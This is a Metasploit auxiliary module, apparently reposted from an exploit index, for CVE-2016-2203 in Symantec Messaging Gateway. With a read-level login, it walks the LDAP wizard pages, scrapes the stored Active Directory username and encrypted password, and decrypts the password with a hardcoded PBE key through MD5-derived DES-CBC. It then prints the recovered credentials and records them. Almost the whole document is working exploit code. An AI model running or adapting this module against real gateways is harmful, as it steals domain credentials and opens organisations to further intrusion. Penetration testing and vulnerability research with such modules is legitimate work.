Share
## https://sploitus.com/exploit?id=PACKETSTORM:181136
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'digest'  
require "openssl"  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability',  
'Description' => %q{  
This module will grab the AD account saved in Symantec Messaging Gateway and then  
decipher it using the disclosed Symantec PBE key. Note that authentication is required  
in order to successfully grab the LDAP credentials, and you need at least a read account.  
Version 10.6.0-7 and earlier are affected  
},  
'References' =>  
[  
['URL','https://www.broadcom.com/support/security-center/securityupdates/detail?fid=security_advisory&pvid=security_advisory&suid=20160418_00&year='],  
['CVE','2016-2203'],  
['BID','86137']  
],  
'Author' =>  
[  
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'SSLVersion' => 'TLS1',  
'RPORT' => 443  
},  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2015-12-17'  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('USERNAME', [true, 'The username to login as']),  
OptString.new('PASSWORD', [true, 'The password to login with']),  
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])  
])  
end  
  
def print_status(msg='')  
super(rhost ? "#{peer} - #{msg}" : msg)  
end  
  
def print_good(msg='')  
super("#{peer} - #{msg}")  
end  
  
def print_error(msg='')  
super("#{peer} - #{msg}")  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: 'LDAP',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
login_data = {  
last_attempted_at: DateTime.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def auth(username, password, sid, last_login)  
sid2 = ''  
  
res = send_request_cgi!({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),  
'headers' => {  
'Referer' => "https://#{peer}/brightmail/viewLogin.do",  
'Connection' => 'keep-alive'  
},  
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",  
'vars_post' => {  
'lastlogin' => last_login,  
'userLocale' => '',  
'lang' => 'en_US',  
'username' => username,  
'password' => password,  
'loginBtn' => 'Login'  
}  
})  
  
if res &&res.body =~ /Logged in/  
sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]  
return sid2  
end  
  
nil  
end  
  
def get_login_data  
sid = '' #From cookie  
last_login = '' #A hidden field in the login page  
  
res = send_request_raw({  
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')  
})  
  
if res  
last_login = res.get_hidden_inputs.first['lastlogin'] || ''  
  
unless res.get_cookies.empty?  
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''  
end  
end  
  
return sid, last_login  
end  
  
  
# Returns the status of the listening port.  
#  
# @return [Boolean] TrueClass if port open, otherwise FalseClass.  
def port_open?  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
return true if res  
rescue ::Rex::ConnectionRefused  
print_status("Connection refused")  
rescue ::Rex::ConnectionError  
print_error("Connection failed")  
rescue ::OpenSSL::SSL::SSLError  
print_error("SSL/TLS connection error")  
end  
  
false  
end  
  
# Returns the derived key from the password, the salt and the iteration count number.  
#  
# @return Array of byte containing the derived key.  
def get_derived_key(password, salt, count)  
key = password + salt  
  
for i in 0..count-1  
key = Digest::MD5.digest(key)  
end  
  
kl = key.length  
  
return key[0,8], key[8,kl]  
end  
  
# Returns the decoded Base64 data in RFC-4648 implementation.  
# The Rex implementation decoding Base64 is by using unpack("m").  
# By default, the "m" directive uses RFC-2045, but if followed by 0,  
# it uses RFC-4648, which is the same RFC Base64.strict_decode64 uses.  
def strict_decode64(str)  
"#{Rex::Text.decode_base64(str)}0"  
end  
  
  
# @Return the deciphered password  
# Algorithm obtained by reversing the firmware  
def decrypt(enc_str)  
pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="  
salt = strict_decode64(enc_str[0,12])  
remsg = strict_decode64(enc_str[12,enc_str.length])  
(dk, iv) = get_derived_key(pbe_key, salt, 1000)  
alg = 'des-cbc'  
  
decode_cipher = OpenSSL::Cipher.new(alg)  
decode_cipher.decrypt  
decode_cipher.padding = 0  
decode_cipher.key = dk  
decode_cipher.iv = iv  
plain = decode_cipher.update(remsg)  
plain << decode_cipher.final  
  
plain.gsub(/[\x01-\x08]/,'')  
end  
  
  
def grab_auths(sid,last_login)  
token = '' # from hidden input  
selected_ldap = '' # from checkbox input  
new_uri = '' # redirection  
flow_id = '' # id of the flow  
folder = '' # symantec folder  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$exec.flo'),  
'headers' => {  
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",  
'Connection' => 'keep-alive'  
},  
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while getting token to authenticate.')  
end  
  
token = res.get_hidden_inputs.first['symantec.brightmail.key.TOKEN'] || ''  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$edit.flo'),  
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",  
'vars_post' =>  
{  
'flowId' => '0',  
'userLocale' => '',  
'lang' => 'en_US',  
'symantec.brightmail.key.TOKEN'=> "#{token}"  
},  
'headers' =>  
{  
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",  
'Connection' => 'keep-alive'  
}  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while attempting to authenticate.')  
end  
  
if res.headers['Location']  
mlocation = res.headers['Location']  
new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]  
flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0]  
folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]  
end  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{folder}",  
'headers' => {  
'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",  
'Connection' => 'keep-alive'  
},  
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",  
'vars_get' => {  
'flowId' => "#{flow_id}",  
'userLocale' => '',  
'lang' => 'en_US'  
}  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while trying to collect credentials.')  
end  
  
if res.code == 200  
login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''  
password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''  
host = res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''  
port = res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''  
password = decrypt(password)  
print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")  
report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s)  
end  
end  
  
def run_host(ip)  
unless port_open?  
print_status("Port is not open.")  
end  
  
sid, last_login = get_login_data  
  
if sid.empty? || last_login.empty?  
print_error("Missing required login data. Cannot continue.")  
return  
end  
  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
sid = auth(username, password, sid, last_login)  
  
if sid  
print_good("Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")  
grab_auths(sid,last_login)  
else  
print_error("Unable to login. Cannot continue.")  
end  
end  
end